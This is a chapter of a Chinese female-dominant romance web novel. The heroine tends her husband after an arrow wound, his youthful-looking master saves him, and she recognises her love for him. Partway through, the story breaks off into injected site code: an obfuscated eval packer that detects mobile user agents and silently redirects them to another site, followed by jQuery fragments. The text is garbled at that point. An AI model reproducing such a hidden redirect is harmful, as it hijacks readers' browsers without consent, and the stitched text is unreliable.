23. 心意

作品:《强扭的瓜爆甜(女尊)

    咻!


    第二箭接连而来,慕念安抱着路云骞堪堪躲过。


    箭头擦过她的发髻,一头长发披散在肩,脸上沾染着路云骞的血迹,狼狈至极。


    她用力摁紧路云骞的胸口,可不管怎么摁,血就像开了阀的水,汩汩流淌。


    暗卫终于赶了过来,将刺客杀尽,立马跑到慕念安跟前谢罪。


    慕念安抬头,一双本该圆亮的眸子,此时一片通红,她喉间梗着沙砾般的喑哑,道:“找大夫,去找大夫!”


    有几个暗卫离去,暗一上前道:“世女,有止血散。”


    慕念安赶紧接过,将止血散撒在路云骞胸口,手抖得不成样子。


    一个老大夫被暗卫提着老腰飞檐走壁而来,等落地,她一副受惊过度的样子。即使如此,老大夫还是很有医者父母心地问道:“病人呢?”


    慕念安:“在这!”


    老大夫一见这般情况,立马冲暗卫道:“老妇的医箱。”


    老大夫手脚麻利地剪开路云骞的衣裳,用烈酒浸湿麻布,一边擦手,一边对慕念安道:“用布条塞在他牙间,然后死死摁住他,老妇要拔箭了。”


    慕念安一一照做,嗓音喑哑而沉闷:“您尽管动手,只要能救得住他的命。”


    老大夫没理她,左手如铁钳般扒开箭头两侧的血肉。路云骞闷哼了一声,慕念安眉头紧蹙,用力抱住他的上半身,防止他乱动。


    老大夫探入血肉的指尖,死死抵住箭镞嵌入之地,右手攥住箭尾,神色一凝,一句“拔了”刚出口,只听“嗤啦”一声锐响,代钩的箭镞生生撕裂皮肉,连根被拔出!


    路云骞眼帘轻掀,又昏死过去。


    “路云骞!”


    老大夫这会子终于有空搭理她了,“慌得早喽,今晚若是发了热,就是九死一生,看命吧。”


    慕念安面色刚因人苏醒而回暖的神色,因为这话一下子褪了个干净,她惨白着脸,急急问道:“老大夫——”


    求人的话还没开口,老大夫将手上撒药缠布的动作收尾,打断了她:“欸,别求我,得看命,我又不是老天,求我没用!”


    说完收整药箱,挎在肩头,准备走人。


    没有慕念安的口令,暗卫们不敢放人,长刀一伸,拦住了人。


    老大夫叹气道:“老妇就直接跟你们说吧,这位郎君的箭伤深入肺腑,幸亏你们及时止住了血,才有了这一丝的希望。


    “你们若真不敢赌,与其在这拦住我,不如去寻老医仙,她老神仙医术高超,兴许能妙手回春地把人救醒呢!”


    慕念安抱起路云骞,问道:“敢问老大夫可知老医仙的踪迹?”


    老大夫道:“你算是问对人了,瞧你也是个知理的人,老妇说与你听也无妨,


    “今儿老妇曾有缘见过老神仙一面,她说是寻什么徒儿,说她徒儿如今可是怀安王府的少君呢!说不准,人此刻就在怀安王府。”


    慕念安大喜道:“多谢恩人,请恕晚辈不能见礼!”


    老大夫摆手:“得了得了,这下可以放老妇走了吧。”


    慕念安道:“你们还不快快送恩人回去!”


    “欸,别别别,老妇有腿,可以自个走!”老大夫一看暗卫又要将她提在腰间,顿觉浑身骨头都快散了架,忙不迭地拒绝了。


    别过老大夫,慕念安着人准备马车。


    街道发生刺杀事件,京兆尹的人匆匆赶来时,马车恰好到了。


    慕念安没空搭理,叫暗一处理此事了。


    回到府,慕蓉妇夫见一个昏迷不醒,一个浑身是血,均吓白了脸,问他们这是怎地了,好端端出去,回来怎么就成了这样?


    慕念安顾不上答话,急冲冲道:“阿母,府中可是来了一位老大夫?”


    “什么老大夫,本姑娘很老吗?”


    一名童颜鹤发的女子负手而来,一双杏眸圆登登地瞪着慕念安,注意到路云骞苍白的脸色,以及慕念安浑身的血,皱起了眉毛,没好气道:“好不容易寻他一回,还给本姑娘找麻烦事做!”


    她对慕念安道:“哎,呆子!还不赶紧把人送上床,杵那做什么!”


    慕念安也不生气,依其所言,将人送上了床。


    “好啦,都出去吧。”


    慕念安带着慕蓉妇夫与哭哭啼啼的常青出了门,慕蓉不免问道:“你们又遇到刺客了?”


    慕念安木然点头,路云骞昏迷不醒,她也仿佛丢了魂一般。


    慕蓉瞧不起她这般模样,斥道:“这人不还在嘛,你摆出这样一副死样做甚!”


    屋中烛火摇曳,常青还在哭,慕念安眼珠一动也不动,无动于衷地盯着窗棂上倒映出的摇曳不住的灯火,烛火小了,她的心也跟着发紧,好像那是路云骞此刻颠簸的命运。


    慕蓉还要说什么,屋中传来老医仙声音:“都安静点!”


    常青跑远哭去了,慕蓉只得戳戳慕念安,轻声问道:“那位凶巴巴的姑娘是谁?”


    慕念安没心情理人,慕蓉一直戳。


    慕念安没辙,回道:“他的师父。”


    慕蓉“哦”了一声,很快反应过来,一巴掌呼在慕念安头上,压低声音道:“诳你老娘呢,你见过这么年轻的师父?”


    慕念安:“……”


    慕念安委屈抱头:“我这不也是第一次见嘛!”


    沈泽言扯了扯慕蓉的衣袖,无奈道:“好了,云骞生死不明,她的心不在这,你就别烦她了。”


    慕蓉小声嘀咕:“我这不是给咱姑娘转移注意力嘛。”


    慕蓉妇夫离去,常青细细的哭泣夹杂在虫鸣声中,响在慕念安耳畔,她抬头望了望天上闪烁不休的星子,倏地苦笑了一下。


    她在笑自己非要到了这个时候,才知道自己真正的心意。


    吱呀一声,鹤发童颜的姑娘推门而出,


    慕念安条件反射地看去,问道:“前辈,他怎样了?”


    “臭小子命大得很,死不了!”


    慕念安悬在胸口的石块终于坠落,砸得她眩晕了一番,缓过神,听见老医仙问她:“你就是路云骞的妻子?”


    慕念安颔首见礼,“晚辈慕念安见过老医仙前辈。”


    她摆摆手:“什么老不老的,听着就烦,我姓洛,名仙芝。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050721|194133||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    慕念安福至心灵:“洛姑娘好。”


    落仙芝笑得跟朵花儿似的,称赞道:“不愧是那家伙看上的人,够聪明。”


    落仙芝笑完,突然近身,低声问道:“适才见你那般焦急,你真喜欢上那小子了?”


    慕念安不明白洛仙芝为何如此问,但出于对方是路云骞的师父,并且救了路云骞一命,认真答道:“是的。”


    她想起路云骞为她倒地不起样子,只觉世界在那一刻仿同失了色,心脏在深深震撼过后,生起刀捅般的痛,痛得她直差呼吸不过来,想与他一道去了便算了。


    路云骞的性命,点醒了她的心,而她却宁可不要。像他这般的儿郎,不管如何,到最后她还是会喜欢上的。


    既然如此,为何要他们经历这样的苦痛。


    洛仙芝见状,拍拍她的肩膀,同情道:“命苦。喜欢上那家伙,你命苦。”


    “命苦啊!”洛仙芝摇头离去,边走边唱:“问世间情是何物,直教人生死相许……”


    听着落仙芝的话语,慕念安怔怔出神,许久,低头苦笑,可不正是生死相许嘛。


    路云骞在一片痛意中苏醒,他睁开沉重的双眼,想用手撑着起身,却发现自己的手似乎被谁紧紧地握住。


    他艰难地扭动脖子,赫然正见慕念安趴睡在床榻前,眼下一片青黑,眉间轻微蹙起。


    路云骞伸手想替她抚平眉间的褶皱,不意动到了伤口,疼得“嘶”了一声。而正是这细细的一声,惊醒了慕念安。


    慕念安一见是他醒了,忙道:“莫动!你莫动,小心伤口撕开。”


    慕念安又问:“可是渴了,要不要喝点水?”说着,就要转身去倒茶水。


    路云骞拉住了她,虚声道:“别走,我不渴。”


    慕念安背过的身子,溢起喜极而泣的泪水,她不着痕迹地拭去泪水,回身道:“好,我不走,我就在这陪着你。”


    听着她带着鼻音的话语,路云骞心疼地将她拉过来,放在自己脸上,“我没事了,你莫哭。”


    慕念安抽回手,嘴硬道:“谁哭了,我这是高兴,高兴你懂不懂?”


    路云骞莞尔,轻轻拍了拍身侧,温声道:“好,我有些乏了,你上来陪陪我。”


    慕念安摇头:“这可不行,你伤口还没好,我要是挤着你了,你师父知道了,非得撕了我的皮。”


    “师父?”路云骞疑惑。


    慕念安道:“你还不知道吧,洛前辈昨儿来府中寻你,却没料到我们发生了这样的事。”


    想起昨夜,慕念安依然心有余悸。


    路云骞牵住她手:“不打紧,你躺里面不就成了?”


    慕念安有些迟疑,路云骞道:“你再不上来,我就要拽你了!”


    慕念安没辙,只能上榻。她守了路云骞整整一夜,本就未休息好,一沾床眼皮子立马打起了架。


    路云骞见了,眼中浮起一丝柔意,轻声道:“睡吧。”


    说着,他闭上了眼睛,再次沉沉谁去。


    等慕蓉等人进房来时,见到的就是二人头碰头、肩并肩全然睡沉的样子。